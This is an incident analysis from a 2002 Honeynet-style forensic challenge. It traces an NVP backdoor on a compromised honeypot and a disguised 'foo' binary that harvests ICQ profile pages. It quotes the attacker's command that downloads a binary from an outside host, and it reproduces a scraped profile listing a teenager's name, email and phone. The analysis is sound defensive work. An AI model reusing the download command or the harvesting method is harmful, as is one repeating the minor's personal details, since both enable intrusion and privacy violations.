Challenge for August 2002 - Results Andrea Barisani (lcars@infis.univ.trieste.it) -------------------------------------------------------------------------------- 1. What is the attacker's IP address? The NVP backdoor use random IP addresses as a decoy when communicating with the attacker, in the traffic dump we can identify different protocol 11 packets with the same payload but different addresses. # tcpdump -n -r snort-0718\@1401.log proto 11 17:09:13.557615 94.0.146.98 > 172.16.183.2: ip-proto-11 402 17:10:34.876658 192.146.201.172 > 172.16.183.2: ip-proto-11 402 17:10:34.991246 172.16.183.2 > 175.44.57.180: ip-proto-11 512 17:10:34.992379 172.16.183.2 > 57.35.28.126: ip-proto-11 512 17:10:34.995320 172.16.183.2 > 22.23.166.235: ip-proto-11 512 17:10:35.005093 172.16.183.2 > 203.173.144.50: ip-proto-11 512 17:10:35.015220 172.16.183.2 > 31.223.48.171: ip-proto-11 512 17:10:35.035260 172.16.183.2 > 55.247.104.208: ip-proto-11 512 17:10:35.045154 172.16.183.2 > 73.195.64.167: ip-proto-11 512 17:10:35.055188 172.16.183.2 > 122.114.160.41: ip-proto-11 512 17:10:35.065122 172.16.183.2 > 158.217.222.215: ip-proto-11 512 17:10:35.475587 172.16.183.2 > 175.44.57.180: ip-proto-11 463 17:10:35.480562 172.16.183.2 > 57.35.28.126: ip-proto-11 463 17:10:35.485063 172.16.183.2 > 22.23.166.235: ip-proto-11 463 17:10:35.495194 172.16.183.2 > 203.173.144.50: ip-proto-11 463 17:10:35.505081 172.16.183.2 > 31.223.48.171: ip-proto-11 463 17:10:35.525031 172.16.183.2 > 55.247.104.208: ip-proto-11 463 17:10:35.535120 172.16.183.2 > 73.195.64.167: ip-proto-11 463 17:10:35.545099 172.16.183.2 > 122.114.160.41: ip-proto-11 463 17:10:35.555174 172.16.183.2 > 158.217.222.215: ip-proto-11 463 21:35:00.285126 168.148.27.14 > 172.16.183.2: ip-proto-11 402 21:35:56.667243 10.39.81.89 > 172.16.183.2: ip-proto-11 402 21:57:37.983480 58.248.76.90 > 172.16.183.2: ip-proto-11 402 22:02:40.043361 218.209.145.27 > 172.16.183.2: ip-proto-11 402 22:03:37.492985 122.255.17.55 > 172.16.183.2: ip-proto-11 402 22:04:33.707291 26.44.146.84 > 172.16.183.2: ip-proto-11 402 The unique addresses generated by the backdoor are: 175.44.57.180 57.35.28.126 22.23.166.235 203.173.144.50 31.223.48.171 55.247.104.208 73.195.64.167 122.114.160.41 158.217.222.215 The attacker's IP must be one of this list. Looking for information regarding the backdoor in Reverse Challenge's results we can see that the first packet is an initialization one that define handler's IP address. Using the decoder perl script from Dion Mendel's report we can identify attacker's IP. # perl decoder snort-0718\@1401.log 94.0.146.98 -> 172.16.183.2 (handler -> agent) Initialise agent. All replies are sent to handler at 203.173.173.50 (plus 9 other randomly generated hosts) IP address 203.173.173.50 is not on our list, however it's very similiar to 203.173.144.50, probably there's a bug in the perl script, right now I don't have the time to investigate this further but I think that we can safely assume that 203.173.144.50 is our attacker. -------------------------------------------------------------------------------- 2. What is the attacker doing first? What do you think is his/her motivation for doing this? According to the traffic decoded by the 'decoder.c' program the first command issued by the attacker, using the NVP backdoor is the following: grep -i "zone" /etc/named.conf The response to this first command can be clearly seen in the decoded traffic. zone "." { zone "0.0.127.in-addr.arpa" { The purpose of this command is finding all zone statement in named.conf file, which is the BIND DNS server configuration file, probably the attacker wants to know if the host is acting as a DNS server or just testing the backdoor. -------------------------------------------------------------------------------- 3. Why there is some readable text in packets #17-#25 (and some others), but not in packets #15-#16 (and several others)? What differentiates these groups of packets from each other? The protocol 11 packets with readable text are the responses from the backdoor to the client, the others are the requests from the client to the backdoor. This is caused by an error in backdoor's code regarding bytes padding, a detailed explanation can be found in Chris Eagle's entry for the Reverse Challenge (Phase 4 section). -------------------------------------------------------------------------------- 4. What is the purpose of 'foo'? Can you provid more insights about the internal workings of 'foo'? Do you think that 'foo' was coded by a good programmer or by an amateur? The 'foo' binary was recovered from an HTTP GET request from 172.16.183.2 (the honeynet) towards 11.11.11.11 port 8882. Notice that the address 11.11.11.11 is probably a fake one created with snort '-O' flag, in fact it is evident from the binary and traffic payload that the real target is 216.242.103.2, we can see this from the following command issued with the help of the NVP backdoor: lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve and the correlated HTTP request payload, notice the 'Host: 216.242.103.2:8882 string: 04/12-21:57:39.191581 0:50:56:DC:13:A2 -> 0:50:56:1:0:0 type:0x800 len:0x263 172.16.183.2:1025 -> 11.11.11.11:8882 TCP TTL:64 TOS:0x0 ID:41 IpLen:20 DgmLen:597 DF ***AP*** Seq: 0xE4E89BC Ack: 0x84169F6 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2257788 181750773 GET /foo HTTP/1.0..Host: 216.242.103.2:8882..Accept: text/html, text/plain, audio/mod, image/*, video/*, video/mpeg, application /pgp, application/pgp, application/pdf, message/partial, message /external-body, application/postscript, x-be2, application/andre w-inset, text/richtext, text/enriched..Accept: x-sun-attachment, audio-file, postscript-file, default, mail-file, sun-deskset-me ssage, application/x-metamail-patch, text/sgml, */*;q=0.01..Acce pt-Encoding: gzip, compress..Accept-Language: en..User-Agent: Ly nx/2.8.3dev.18 libwww-FM/2.14.... It is also possible but improbable that some form of NAT was involved. The 'foo' binary it's a standard ELF executable, stripped and statically linked: # file ./foo ./foo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped When running 'foo' name itself '(nfsiod)', trying to show up like a system process. # ./foo # ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.4 1400 512 ? S 15:22 0:04 init root 2 0.0 0.0 0 0 ? SW 15:22 0:07 [keventd] root 3 0.0 0.0 0 0 ? SW 15:22 0:00 [kapmd] root 4 0.0 0.0 0 0 ? SWN 15:22 0:00 [ksoftirqd_CPU0] root 5 0.0 0.0 0 0 ? SW 15:22 0:00 [kswapd] root 6 0.0 0.0 0 0 ? SW 15:22 0:00 [bdflush] root 7 0.0 0.0 0 0 ? SW 15:22 0:00 [kupdated] root 8 0.0 0.0 0 0 ? SW 15:22 0:00 [kreiserfsd] root 12 0.0 0.4 1428 552 ? S 15:22 0:00 /sbin/devfsd /dev root 30 0.0 0.4 1424 536 ? S 15:22 0:00 /usr/sbin/crond - root 37 0.0 0.5 1460 656 ? S 15:22 0:00 /usr/sbin/syslogd root 38 0.0 0.4 1468 596 ? S 15:22 0:00 /usr/sbin/klogd - root 87 0.0 1.1 2440 1384 vc/1 S 15:22 0:00 -bash root 88 0.0 1.1 2444 1392 vc/2 S 15:22 0:01 -bash root 89 0.0 1.1 2444 1388 vc/3 S 15:22 0:00 -bash root 90 0.0 1.1 2440 1384 vc/4 S 15:22 0:00 -bash root 91 0.0 1.1 2440 1372 vc/5 S 15:22 0:00 -bash root 92 0.0 1.1 2432 1348 vc/6 S 15:22 0:00 -bash bin 431 0.0 0.0 264 68 ? S 17:53 0:00 (nfsiod) root 432 0.0 0.6 2620 764 vc/3 R 17:53 0:00 ps aux Looking at `strings foo` output and analyzing it's behaviour we can see that it is responsible for a huge series of HTTP requests towards 205.188.248.25 (web.icq.com), here's the first one: GET /wwp?Uin=9207100 HTTP/1.0 Host: web.icq.com then it proceeds incrementally reaching UID 9207199: GET /wwp?Uin=9207199 HTTP/1.0 Host: web.icq.com The starting UID is negotiated just before the HTTP requests with an UDP request sent to 11.11.11.11 (216.242.103.2) on port 53413: 04/12-21:57:55.439307 0:50:56:DC:13:A2 -> 0:50:56:1:0:0 type:0x800 len:0x2D 172.16.183.2:1025 -> 11.11.11.11:53413 UDP TTL:64 TOS:0x0 ID:201 IpLen:20 DgmLen:31 Len: 11 GU. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 04/12-21:57:55.493471 0:50:56:1:0:0 -> 0:50:56:DC:13:A2 type:0x800 len:0x34 11.11.11.11:53413 -> 172.16.183.2:1025 UDP TTL:53 TOS:0x0 ID:867 IpLen:20 DgmLen:38 Len: 18 DU9207100. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ We can clearly see that the response specify 9207100 wich is the starting UID. We can verify this by executing foo (carefully on a controlled and clean environment) and sniffing the traffic, this is the first packet sent: 16:43:20.476024 127.0.0.1.1025 > 216.242.103.2.53413: [udp sum ok] udp 3 (DF) (ttl 64, id 0, len 31) 0x0000 4500 001f 0000 4000 4011 7bd8 7f00 0001 E.....@.@.{..... 0x0010 d8f2 6702 0401 d0a5 000b 1ae6 4755 0a ..g.........GU. We can also find in the traffic dump file all the replies from 205.188.248.25, this is a typical one viewed with the links web browser: HTTP/1.1 200 OK Date: Fri, 12 Apr 2002 19:58:41 GMT Server: Apache/1.3.12 (Unix) mod_ssl/2.6.6 OpenSSL/0.9.5a Cache-Control: max-age=0 Expires: Fri, 12 Apr 2002 19:58:41 GMT Connection: close Content-Type: text/html ICQ ICQ.Com | Download ICQ | Find Friends | Community | ICQ Homepage Anywhere | Find a Random Friend Add Add This This Center Center to to Your Your Site Site This Unified Messaging Center is provided to every ICQ user upon registration.The page address is http://wwp.icq.com/YOUR_ICQ# Welcome to the Unified Messaging Center of Mark Miller Add/Update Your DetailsMark Miller, Click Here to Update Your Details Add/Update Your Photo Hello my name is Mark Miller. [IMG] My ICQ number is 9207100, I am 16 years old and I'm from Santa Rosa, CA, USA. Message MeMore About Me Add Me to ICQ# 9207100 Email rlmil@iname.com Phone 575-9112 ICQ Number Talk To Me * Invite Me for a Chat * Send a message to my ICQ Click here to open our Don't have ICQ? Send me a ICQ chat room Pager and to let me know from this page directly to my you're waiting ICQ. for me! The user is currently Your Name: Your Email: offline ______________ ______________ The user is currently Message: offline _________________________________ * Send me an Email to my _________________________________ ICQ _________________________________ Send a short _________________________________ EmailExpress message _________________________________ (up to 450 characters) _________________________________ from any _________________________________ Email Client directly _________________________________ to my ICQ. EmailExpress Me [ Send ] Clear 9207100@pager.icq.com Please read the Terms of Service. Please read the Terms of Service. More Info More Info Got ICQ? * Send Me an Email * Send me a message Send me an Email Send me an ICQ Message, lets message by start clicking on this talking by ICQ! button. Message Me Email Me rlmil@iname.com * SMS Me Now! Send an SMS message from the Web directly to my cell phone Now! My cell phone is unavailable My cell phone is unavailable More Info More Info My Web Pages My Web Front My Homepage Visit my ICQ Web Front.